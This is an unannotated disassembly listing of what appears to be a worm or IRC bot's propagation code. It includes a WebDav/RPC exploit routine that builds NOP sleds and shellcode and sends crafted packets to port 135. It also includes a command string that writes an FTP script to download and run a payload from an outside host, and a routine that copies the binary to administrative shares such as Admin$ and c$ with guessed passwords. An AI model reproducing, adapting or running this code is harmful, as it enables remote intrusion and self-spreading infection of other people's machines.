		push	dword ptr [ebp+8]
		call	sub_405D20
		lea	eax, [ebp-214h]
		push	eax
		call	sub_401ECD
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		lea	eax, dword_42E070[eax]
		add	esp, 2Ch
		inc	dword ptr [eax]


loc_415812:				; CODE XREF: .text:004157ACj
		xor	eax, eax
		inc	eax


loc_415815:				; CODE XREF: .text:0041574Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 8590h
		call	sub_416B20
		mov	eax, dword_42BC3C
		push	ebx
		push	esi
		mov	[ebp-0Ch], eax
		mov	eax, dword_42BC40
		push	edi
		mov	[ebp-8], eax
		lea	eax, [ebp+0Ch]
		push	1
		push	eax
		call	sub_403FEB
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_415E0B
		cmp	eax, 1
		jz	loc_415E0B
		cmp	eax, 3
		jnz	short loc_415863
		and	dword ptr [ebp-10h], 0
		jmp	short loc_415877
; ---------------------------------------------------------------------------


loc_415863:				; CODE XREF: .text:0041585Bj
		call	sub_41699A
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	edx, edx
		inc	edx
		inc	edx
		mov	[ebp-10h], edx


loc_415877:				; CODE XREF: .text:00415861j
		lea	eax, [ebp+0Ch]
		push	eax
		push	offset aSIpc	; "\\\\%s\\ipc$"
		lea	eax, [ebp-58h]
		push	28h
		push	eax
		call	sub_416B5D
		add	esp, 10h
		xor	eax, eax


loc_415890:				; CODE XREF: .text:004158A7j
		mov	cl, [ebp+eax-58h]
		and	byte ptr [ebp+eax*2-11Fh], 0
		mov	[ebp+eax*2-120h], cl
		inc	eax
		cmp	eax, 28h
		jl	short loc_415890
		push	18h
		pop	ecx
		mov	esi, offset dword_431E70
		lea	edi, [ebp-0D0h]
		lea	eax, [ebp-58h]
		rep movsd
		lea	edx, [eax+1]


loc_4158BF:				; CODE XREF: .text:004158C4j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4158BF
		sub	eax, edx
		mov	ecx, eax
		lea	esi, [ebp-120h]
		lea	edi, [ebp-0A0h]
		lea	eax, [ebp-58h]
		rep movsw
		lea	ecx, [eax+1]


loc_4158DF:				; CODE XREF: .text:004158E4j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4158DF
		sub	eax, ecx
		lea	edi, [ebp+eax*2-0A1h]
		mov	esi, (offset aC_5+3)
		movsd
		movsd
		lea	eax, [ebp-58h]
		movsb
		lea	ecx, [eax+1]


loc_4158FD:				; CODE XREF: .text:00415902j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4158FD
		sub	eax, ecx
		add	al, 1Ah
		shl	al, 1
		mov	[ebp-1], al
		mov	[ebp-0CDh], al
		lea	eax, [ebp-58h]
		lea	ecx, [eax+1]


loc_415919:				; CODE XREF: .text:0041591Ej
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_415919
		sub	eax, ecx
		shl	al, 1
		add	al, 9
		push	135h
		mov	[ebp-0A3h], al
		call	dword_43A4F4	; ntohs
		mov	ebx, [ebp-10h]
		xor	eax, 9999h
		cmp	ebx, 1
		mov	word_431B68, ax
		jz	short loc_4159C4
		cmp	ebx, 2
		jz	short loc_4159C4
		mov	eax, 90909090h
		mov	ecx, 1F4h
		lea	edi, [ebp-12C4h]
		rep stosd
		mov	eax, offset loc_431AB8
		mov	ecx, eax
		lea	esi, [ecx+1]


loc_41596B:				; CODE XREF: .text:00415970j
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jnz	short loc_41596B
		sub	ecx, esi
		mov	esi, eax
		mov	eax, ecx
		shr	ecx, 2
		lea	edi, [ebp-1224h]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		lea	eax, [ebp-0Ch]
		rep movsb
		lea	ecx, [eax+1]


loc_415990:				; CODE XREF: .text:00415995j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_415990
		sub	eax, ecx
		mov	ecx, eax
		shr	ecx, 2
		lea	esi, [ebp-0Ch]
		lea	edi, [ebp-0B08h]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		imul	ebx, 3Ch
		mov	eax, dword_4322B0[ebx]
		rep movsb
		mov	[ebp-0B18h], eax
		jmp	loc_415A96
; ---------------------------------------------------------------------------


loc_4159C4:				; CODE XREF: .text:00415948j
					; .text:0041594Dj
		imul	ebx, 3Ch
		mov	edx, dword_4322B0[ebx]
		mov	eax, 90909090h
		mov	ecx, 36Bh
		lea	edi, [ebp-18A0h]
		rep stosd
		mov	eax, offset loc_431AB8
		mov	ecx, eax
		mov	[ebp-10BCh], edx
		lea	esi, [ecx+1]


loc_4159EF:				; CODE XREF: .text:004159F4j
		mov	bl, [ecx]
		inc	ecx
		test	bl, bl
		jnz	short loc_4159EF
		sub	ecx, esi
		mov	ebx, ecx
		shr	ecx, 2
		mov	esi, eax
		lea	edi, [ebp-10ACh]
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	ecx, eax
		mov	dword ptr [ebp-0D88h], 6EB06EBh
		mov	[ebp-0D84h], edx
		lea	esi, [ecx+1]


loc_415A23:				; CODE XREF: .text:00415A28j
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jnz	short loc_415A23
		sub	ecx, esi
		mov	esi, eax
		mov	eax, ecx
		shr	ecx, 2
		lea	edi, [ebp-0D78h]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		xor	eax, eax


loc_415A44:				; CODE XREF: .text:00415A60j
		mov	cl, [ebp+eax-18A0h]
		and	byte ptr [ebp+eax*2-43DFh], 0
		mov	[ebp+eax*2-43E0h], cl
		inc	eax
		cmp	eax, 0DACh
		jl	short loc_415A44
		and	byte ptr [ebp-2888h], 0
		and	byte ptr [ebp-2887h], 0
		mov	edx, 714h
		mov	esi, 31313131h
		mov	ecx, edx
		mov	eax, esi
		lea	edi, [ebp-8590h]
		rep stosd
		stosw
		mov	ecx, edx
		mov	eax, esi
		lea	edi, [ebp-64B8h]
		rep stosd
		stosw


loc_415A96:				; CODE XREF: .text:004159BFj
		mov	ecx, 38Ah
		mov	eax, 31313131h
		lea	edi, [ebp-2884h]
		rep stosd
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		stosb
		call	dword_43A39C	; socket
		mov	esi, eax
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp-8], esi
		jz	loc_415E0D
		push	dword ptr [ebp+0A8h]
		lea	edi, [ebp-30h]
		stosd
		stosd
		stosd
		stosd
		mov	word ptr [ebp-30h], 2
		call	dword_43A4F4	; ntohs
		mov	[ebp-2Eh], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_43A414	; inet_addr
		mov	[ebp-2Ch], eax
		push	10h
		lea	eax, [ebp-30h]
		push	eax
		push	esi
		call	dword_43A34C	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_415E04
		push	ebx
		push	89h
		push	offset dword_431C50
		push	esi
		call	dword_43A438	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_415E04
		push	ebx
		mov	ebx, 640h
		push	ebx
		lea	eax, [ebp-0AF0h]
		push	eax
		push	esi
		call	dword_43A304	; recv
		xor	edi, edi
		push	edi
		push	0A8h
		push	offset dword_431CE0
		push	esi
		call	dword_43A438	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_415E04
		push	edi
		push	ebx
		lea	eax, [ebp-0AF0h]
		push	eax
		push	esi
		call	dword_43A304	; recv
		push	edi
		push	0DEh
		push	offset dword_431D90
		push	esi
		call	dword_43A438	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_415E04
		push	edi
		push	ebx
		lea	eax, [ebp-0AF0h]
		push	eax
		push	esi
		call	dword_43A304	; recv
		movsx	eax, byte ptr [ebp-1]
		push	edi
		add	eax, 4
		push	eax
		lea	eax, [ebp-0D0h]
		push	eax
		push	esi
		call	dword_43A438	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_415E04
		push	edi
		push	ebx
		lea	eax, [ebp-0AF0h]
		push	eax
		push	esi
		call	dword_43A304	; recv
		push	edi
		push	68h
		push	offset dword_431ED8
		push	esi
		call	dword_43A438	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_415E04
		push	edi
		push	ebx
		lea	eax, [ebp-0AF0h]
		push	eax
		push	esi
		call	dword_43A304	; recv
		push	edi
		push	0A0h
		push	offset dword_431F48
		push	esi
		call	dword_43A438	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_415E04
		push	edi
		push	ebx
		lea	eax, [ebp-0AF0h]
		push	eax
		push	esi
		call	dword_43A304	; recv
		cmp	dword ptr [ebp-10h], 1
		jz	short loc_415C7F
		cmp	dword ptr [ebp-10h], 2
		jz	short loc_415C7F
		push	1Fh
		pop	ecx
		mov	esi, offset dword_431FF0
		lea	edi, [ebp-2884h]
		rep movsd
		push	24h
		mov	ecx, 1F4h
		lea	esi, [ebp-12C4h]
		lea	edi, [ebp-2808h]
		rep movsd
		pop	ecx
		push	0
		push	0CF8h
		lea	eax, [ebp-2884h]
		mov	esi, offset off_432070
		lea	edi, [ebp-2038h]
		push	eax
		push	dword ptr [ebp-8]
		rep movsd
		and	byte ptr [ebp-1B8Dh], 0


loc_415C68:				; CODE XREF: .text:00415D19j
		call	dword_43A438	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_415D1E


loc_415C77:				; CODE XREF: .text:00415D42j
		push	dword ptr [ebp-8]
		jmp	loc_415E05
; ---------------------------------------------------------------------------


loc_415C7F:				; CODE XREF: .text:00415C15j
					; .text:00415C1Bj
		push	1Ah
		pop	ecx
		mov	esi, offset dword_432108
		lea	edi, [ebp-8590h]
		rep movsd
		mov	ecx, 6D6h
		lea	esi, [ebp-43E0h]
		lea	edi, [ebp-8528h]
		rep movsd
		movsw
		push	1Ch
		pop	ecx
		mov	esi, offset dword_432178
		lea	edi, [ebp-64B8h]
		rep movsd
		mov	ecx, 297h
		lea	esi, [ebp-334Ch]
		lea	edi, [ebp-6448h]
		rep movsd
		push	21h
		movsw
		pop	ecx
		mov	esi, offset dword_4321F0
		lea	edi, [ebp-5984h]
		rep movsd
		mov	esi, [ebp-8]
		xor	edi, edi
		push	edi
		push	10FCh
		lea	eax, [ebp-8590h]
		push	eax
		push	esi
		call	dword_43A438	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_415E04
		push	edi
		push	ebx
		lea	eax, [ebp-0AF0h]
		push	eax
		push	esi
		call	dword_43A304	; recv
		push	edi
		push	0FDCh
		lea	eax, [ebp-64B8h]
		push	eax
		push	esi
		jmp	loc_415C68
; ---------------------------------------------------------------------------


loc_415D1E:				; CODE XREF: .text:00415C71j
		push	0
		push	ebx
		lea	eax, [ebp-0AF0h]
		push	eax
		push	dword ptr [ebp-8]
		call	dword_43A304	; recv
		push	6
		push	1
		push	2
		call	dword_43A39C	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_415C77
		xor	eax, eax
		lea	edi, [ebp-20h]
		stosd
		stosd
		stosd
		stosd
		push	135h
		mov	word ptr [ebp-20h], 2
		call	dword_43A4F4	; ntohs
		mov	[ebp-1Eh], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_43A414	; inet_addr
		mov	[ebp-1Ch], eax
		push	10h
		lea	eax, [ebp-20h]
		push	eax
		push	esi
		call	dword_43A34C	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_415D8A
		push	dword ptr [ebp-8]
		jmp	short loc_415DFE
; ---------------------------------------------------------------------------


loc_415D8A:				; CODE XREF: .text:00415D83j
		xor	edi, edi
		push	edi
		push	ebx
		lea	eax, [ebp-0AF0h]
		push	eax
		push	esi
		call	dword_43A304	; recv
		test	eax, eax
		jle	short loc_415E0B
		push	1F4h
		call	dword_422000	; Sleep
		push	dword_439EE4
		push	dword ptr [ebp+8]
		call	sub_408852
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp-2B0h]
		push	190h
		push	eax
		call	sub_416B5D
		lea	eax, [ebp-2B0h]
		add	esp, 14h
		lea	edx, [eax+1]


loc_415DDD:				; CODE XREF: .text:00415DE2j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_415DDD
		push	edi
		sub	eax, edx
		push	eax
		lea	eax, [ebp-2B0h]
		push	eax
		push	esi
		call	dword_43A438	; send
		cmp	eax, 0FFFFFFFFh
		push	dword ptr [ebp-8]
		jnz	short loc_415E12


loc_415DFE:				; CODE XREF: .text:00415D88j
		call	dword_43A4B0	; closesocket


loc_415E04:				; CODE XREF: .text:00415B00j
					; .text:00415B1Bj ...
		push	esi


loc_415E05:				; CODE XREF: .text:00415C7Aj
		call	dword_43A4B0	; closesocket


loc_415E0B:				; CODE XREF: .text:00415849j
					; .text:00415852j ...
		xor	eax, eax


loc_415E0D:				; CODE XREF: .text:00415AC0j
					; .text:00415E91j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_415E12:				; CODE XREF: .text:00415DFCj
		call	dword_43A4B0	; closesocket
		push	esi
		call	dword_43A4B0	; closesocket
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		add	eax, offset aWebdav_0 ;	"WebDav"
		push	eax
		push	offset aSTryingSploitI ; "[%s]:	Trying Sploit IP: %s."
		lea	eax, [ebp-4B0h]
		push	200h
		push	eax
		call	sub_416B5D
		add	esp, 14h
		cmp	[ebp+0BCh], edi
		jnz	short loc_415E70
		push	edi
		push	dword ptr [ebp+0B8h]
		lea	eax, [ebp-4B0h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_405D20
		add	esp, 14h


loc_415E70:				; CODE XREF: .text:00415E51j
		lea	eax, [ebp-4B0h]
		push	eax
		call	sub_401ECD
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		lea	eax, dword_42E070[eax]
		inc	dword ptr [eax]
		xor	eax, eax
		pop	ecx
		inc	eax
		jmp	loc_415E0D

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415E96	proc near		; CODE XREF: sub_41610F+37p

var_6F0		= byte ptr -6F0h
var_4E8		= byte ptr -4E8h
var_2E8		= byte ptr -2E8h
var_15D		= byte ptr -15Dh
var_158		= byte ptr -158h
var_54		= byte ptr -54h
var_50		= dword	ptr -50h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_20		= byte ptr  28h
arg_B4		= dword	ptr  0BCh
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		sub	esp, 6F0h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		push	8
		pop	ecx
		xor	ebx, ebx
		push	ebx
		push	[ebp+arg_0]
		xor	eax, eax
		push	[ebp+arg_4]
		lea	edi, [ebp+var_54]
		rep stosd
		lea	eax, [ebp+var_54]
		push	eax
		mov	[ebp+var_40], esi
		mov	[ebp+var_50], 1
		mov	[ebp+var_44], ebx
		mov	[ebp+var_38], ebx
		call	dword_43A444
		test	eax, eax
		jz	short loc_415EE3
		push	0Ah
		call	dword_422000	; Sleep
		jmp	loc_4160FB
; ---------------------------------------------------------------------------


loc_415EE3:				; CODE XREF: sub_415E96+3Ej
		push	190h
		lea	eax, [ebp+var_2E8]
		push	eax
		push	0FFFFFFFFh
		push	esi
		push	ebx
		push	ebx
		mov	[ebp+var_20], offset aAdminSystem32 ; "Admin$\\system32"
		mov	[ebp+var_1C], offset aCWinntSystem32 ; "c$\\winnt\\system32"
		mov	[ebp+var_18], offset aCWindowsSystem ; "c$\\windows\\system32"
		mov	[ebp+var_14], offset aC	; "c"
		mov	[ebp+var_10], offset aD	; "d"
		mov	[ebp+var_8], ebx
		call	dword_4220D4	; MultiByteToWideChar
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		call	dword_43A30C
		test	eax, eax
		jnz	loc_4160F8
		cmp	[ebp+var_8], ebx
		jz	loc_4160F8
		mov	edi, dword_4220FC
		mov	[ebp+var_4], ebx
		mov	esi, offset byte_42FD48


loc_415F50:				; CODE XREF: sub_415E96+14Fj
		mov	eax, [ebp+var_4]
		push	esi
		push	[ebp+eax*4+var_20]
		lea	eax, [ebp+var_158]
		push	[ebp+arg_8]
		push	offset aSSS_3	; "%s\\%s\\%s"
		push	eax
		call	sub_416905
		add	esp, 14h
		push	ebx
		lea	eax, [ebp+var_158]
		push	eax
		push	esi
		call	edi	; CopyFileA
		cmp	eax, ebx
		mov	[ebp+var_C], eax
		jnz	short loc_415FFE
		call	dword_422004	; RtlGetLastWin32Error
		cmp	eax, 5
		jnz	short loc_415FDE
		lea	eax, [ebp+var_158]
		push	ebx
		push	eax
		call	sub_417234
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_415FDE
		lea	eax, [ebp+var_158]
		lea	edx, [eax+1]


loc_415FA8:				; CODE XREF: sub_415E96+117j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_415FA8
		sub	eax, edx
		mov	[ebp+var_C], eax
		call	sub_41699A
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_C]
		push	ebx
		add	dl, 30h
		mov	[ebp+eax+var_15D], dl
		lea	eax, [ebp+var_158]
		push	eax
		push	esi
		call	edi	; CopyFileA
		cmp	eax, ebx
		mov	[ebp+var_C], eax
		jnz	short loc_415FFE


loc_415FDE:				; CODE XREF: sub_415E96+F4j
					; sub_415E96+107j
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 5
		jb	loc_415F50
		cmp	[ebp+var_C], ebx
		jnz	short loc_415FFE
		push	[ebp+var_8]
		call	dword_43A3D8
		jmp	loc_4160FB
; ---------------------------------------------------------------------------


loc_415FFE:				; CODE XREF: sub_415E96+E9j
					; sub_415E96+146j ...
		mov	ecx, [ebp+var_8]
		mov	eax, [ecx]
		push	3Ch
		pop	edi
		xor	edx, edx
		div	edi
		xor	edx, edx
		lea	edi, [ebp+var_34]
		push	208h
		sub	eax, [ecx+18h]
		mov	ecx, 5A0h
		inc	eax
		inc	eax
		div	ecx
		xor	eax, eax
		stosd
		stosd
		stosd
		stosd
		lea	eax, [ebp+var_6F0]
		push	eax
		push	0FFFFFFFFh
		push	esi
		push	ebx
		push	ebx
		imul	edx, 0EA60h
		mov	[ebp+var_34], edx
		call	dword_4220D4	; MultiByteToWideChar
		lea	eax, [ebp+var_6F0]
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		call	dword_43A348
		test	eax, eax
		jnz	loc_4160F8
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		inc	ecx
		mov	edi, 422B0Ah
		mov	esi, eax
		xor	edx, edx
		repe cmpsb
		jnz	short loc_41607F
		mov	eax, offset aNoPassword	; "(no password)"


loc_41607F:				; CODE XREF: sub_415E96+1E2j
		push	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		push	[ebp+eax*4+var_20]
		mov	eax, [ebp+arg_B4]
		push	[ebp+arg_8]
		imul	eax, 3Ch
		add	eax, offset aWebdav_0 ;	"WebDav"
		push	eax
		push	offset aSExploitingI_0 ; "[%s]:	Exploiting IP: %s, Share: \\%s,	Us"...
		lea	eax, [ebp+var_4E8]
		push	200h
		push	eax
		call	sub_416B5D
		add	esp, 20h
		cmp	[ebp+arg_C0], ebx
		jnz	short loc_4160DA
		push	ebx
		push	[ebp+arg_BC]
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+arg_20]
		push	eax
		push	[ebp+arg_C]
		call	sub_405D20
		add	esp, 14h


loc_4160DA:				; CODE XREF: sub_415E96+225j
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_401ECD
		mov	eax, [ebp+arg_B4]
		imul	eax, 3Ch
		lea	eax, dword_42E070[eax]
		inc	dword ptr [eax]
		pop	ecx


loc_4160F8:				; CODE XREF: sub_415E96+9Dj
					; sub_415E96+A6j ...
		xor	ebx, ebx
		inc	ebx


loc_4160FB:				; CODE XREF: sub_415E96+48j
					; sub_415E96+163j
		push	1
		push	1
		push	[ebp+arg_8]
		call	dword_43A378
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn
sub_415E96	endp


; =============== S U B	R O U T	I N E =======================================



sub_41610F	proc near		; CODE XREF: .text:004162A7p
					; .text:0041631Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		cmp	dword_42FF70, 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_41616B
		mov	eax, offset dword_42FF70
		mov	ebx, eax


loc_416122:				; CODE XREF: sub_41610F+5Aj
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		push	[esp+0C8h+arg_4]
		lea	esi, [esp+0CCh+arg_8]
		push	dword ptr [eax]
		rep movsd
		push	[esp+0D0h+arg_0]
		call	sub_415E96
		add	esp, 0C8h
		cmp	eax, 1
		jz	short loc_416171
		push	0C8h
		call	dword_422000	; Sleep
		add	ebx, 4
		cmp	dword ptr [ebx], 0
		mov	eax, ebx
		jnz	short loc_416122


loc_41616B:				; CODE XREF: sub_41610F+Aj
		xor	eax, eax


loc_41616D:				; CODE XREF: sub_41610F+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_416171:				; CODE XREF: sub_41610F+45j
		xor	eax, eax
		inc	eax
		jmp	short loc_41616D
sub_41610F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 62Ch
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+0Ch]
		push	eax
		xor	ebx, ebx
		lea	eax, [ebp-30h]
		push	offset aS_6	; "\\\\%s"
		push	eax
		mov	[ebp-4], ebx
		mov	[ebp-14h], ebx
		mov	[ebp-1Ch], ebx
		mov	[ebp-18h], ebx
		call	sub_416905
		add	esp, 0Ch
		push	3E8h
		lea	eax, [ebp-62Ch]
		push	eax
		push	0FFFFFFFFh
		lea	eax, [ebp-30h]
		push	eax
		push	ebx
		push	ebx
		call	dword_4220D4	; MultiByteToWideChar
		lea	eax, [ebp-30h]
		push	eax
		lea	eax, [ebp-118h]
		push	offset aSIpc_0	; "%s\\ipc$"
		push	eax
		mov	[ebp-40h], ebx
		mov	[ebp-34h], ebx
		mov	[ebp-4Ch], ebx
		call	sub_416905
		add	esp, 0Ch
		lea	eax, [ebp-118h]
		mov	[ebp-3Ch], eax
		push	ebx
		mov	eax, 422B0Ah
		push	eax
		push	eax
		lea	eax, [ebp-50h]
		push	eax
		call	dword_43A444
		test	eax, eax
		jz	short loc_416216
		push	1
		push	ebx
		lea	eax, [ebp-118h]
		push	eax
		call	dword_43A378
		xor	eax, eax
		jmp	loc_41633E
; ---------------------------------------------------------------------------


loc_416216:				; CODE XREF: .text:004161FDj
					; .text:004162DEj
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		push	0FFFFFFFFh
		lea	eax, [ebp-4]
		push	eax
		push	2
		push	ebx
		lea	eax, [ebp-62Ch]
		push	eax
		call	dword_43A37C
		push	1
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-118h]
		push	eax
		call	dword_43A378
		cmp	[ebp-0Ch], ebx
		jz	short loc_416259
		cmp	dword ptr [ebp-0Ch], 0EAh
		jnz	short loc_4162C6


loc_416259:				; CODE XREF: .text:0041624Ej
		mov	eax, [ebp-4]
		cmp	eax, ebx
		mov	[ebp-10h], eax
		jz	short loc_4162D7
		cmp	[ebp-14h], ebx
		mov	[ebp-8], ebx
		jbe	short loc_4162C6


loc_41626B:				; CODE XREF: .text:004162C4j
		mov	eax, [ebp-10h]
		cmp	eax, ebx
		jz	short loc_4162C6
		push	ebx
		push	ebx
		push	12Ch
		lea	ecx, [ebp-244h]
		push	ecx
		push	0FFFFFFFFh
		push	dword ptr [eax]
		push	ebx
		push	ebx
		call	dword_4220D8	; WideCharToMultiByte
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		lea	eax, [ebp-30h]
		push	eax
		lea	eax, [ebp-244h]
		lea	esi, [ebp+8]
		push	eax
		rep movsd
		call	sub_41610F
		add	esp, 0C4h
		cmp	eax, 1
		jz	short loc_4162C6
		add	dword ptr [ebp-10h], 4
		inc	dword ptr [ebp-8]
		mov	eax, [ebp-8]
		cmp	eax, [ebp-14h]
		jb	short loc_41626B


loc_4162C6:				; CODE XREF: .text:00416257j
					; .text:00416269j ...
		cmp	[ebp-4], ebx
		jz	short loc_4162D7
		push	dword ptr [ebp-4]
		call	dword_43A3D8
		mov	[ebp-4], ebx


loc_4162D7:				; CODE XREF: .text:00416261j
					; .text:004162C9j
		cmp	dword ptr [ebp-0Ch], 0EAh
		jz	loc_416216
		cmp	[ebp-4], ebx
		jz	short loc_4162F2
		push	dword ptr [ebp-4]
		call	dword_43A3D8


loc_4162F2:				; CODE XREF: .text:004162E7j
		cmp	dword ptr [ebp-0Ch], 5
		jnz	short loc_41633B
		cmp	off_42FF20, ebx
		jz	short loc_41633B
		mov	eax, offset off_42FF20
		mov	[ebp-8], eax


loc_416308:				; CODE XREF: .text:00416339j
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		lea	esi, [ebp+8]
		rep movsd
		lea	ecx, [ebp-30h]
		push	ecx
		push	dword ptr [eax]
		call	sub_41610F
		add	esp, 0C4h
		cmp	eax, 1
		jz	short loc_41633B
		mov	eax, [ebp-8]
		add	eax, 4
		cmp	[eax], ebx
		mov	[ebp-8], eax
		jnz	short loc_416308


loc_41633B:				; CODE XREF: .text:004162F6j
					; .text:004162FEj ...
		xor	eax, eax
		inc	eax


loc_41633E:				; CODE XREF: .text:00416211j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 698h
		and	byte ptr [ebp-5], 0
		lea	eax, [ebp-508h]
		push	eax
		push	202h
		call	dword_43A3AC	; WSAStartup
		test	eax, eax
		jz	short loc_41636A
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_41636A:				; CODE XREF: .text:00416364j
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_43A414	; inet_addr
		push	dword ptr [ebp+0A8h]
		mov	[ebp-60h], eax
		call	dword_43A4F4	; ntohs
		push	6
		push	1
		push	2
		mov	[ebp-62h], ax
		mov	word ptr [ebp-64h], 2
		call	dword_43A39C	; socket
		push	10h
		lea	ecx, [ebp-64h]
		push	ecx
		push	eax
		mov	[ebp-4], eax
		call	dword_43A34C	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_4167B9
		mov	ebx, 1F4h


loc_4163BA:				; CODE XREF: .text:0041644Cj
		cmp	byte ptr [ebp-5], 1
		lea	eax, [ebp-4Ch]
		jnz	short loc_4163CA
		push	offset a022moptestmv1_ ; "022OPtestv1.1\r\n"
		jmp	short loc_4163CF
; ---------------------------------------------------------------------------


loc_4163CA:				; CODE XREF: .text:004163C1j
		push	offset a022moptestmv_0 ; "022OPtestv1.2\r\n"


loc_4163CF:				; CODE XREF: .text:004163C8j
		push	eax
		call	sub_416905
		pop	ecx
		lea	eax, [ebp-4Ch]
		pop	ecx
		lea	edx, [eax+1]


loc_4163DD:				; CODE XREF: .text:004163E2j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4163DD
		push	0
		sub	eax, edx
		push	eax
		lea	eax, [ebp-4Ch]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_43A438	; send
		mov	esi, dword_422000
		push	ebx
		call	esi	; Sleep
		push	10h
		pop	ecx
		xor	eax, eax
		push	eax
		lea	edi, [ebp-4Ch]
		rep stosd
		push	40h
		lea	eax, [ebp-4Ch]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_43A304	; recv
		lea	eax, [ebp-4Ch]
		push	offset a001myourClient ; "001Your client version is outdated!"
		push	eax
		call	sub_4173D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_416457
		push	dword ptr [ebp-4]
		mov	byte ptr [ebp-5], 1
		call	dword_43A4B0	; closesocket
		push	10h
		lea	eax, [ebp-64h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_43A34C	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4163BA
		jmp	loc_4167B9
; ---------------------------------------------------------------------------


loc_416457:				; CODE XREF: .text:0041642Bj
		lea	eax, [ebp-4Ch]
		push	offset a001m	; "001"
		push	eax
		call	sub_4173D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4164DF
		push	ebx
		call	esi	; Sleep
		cmp	byte ptr [ebp-5], 1
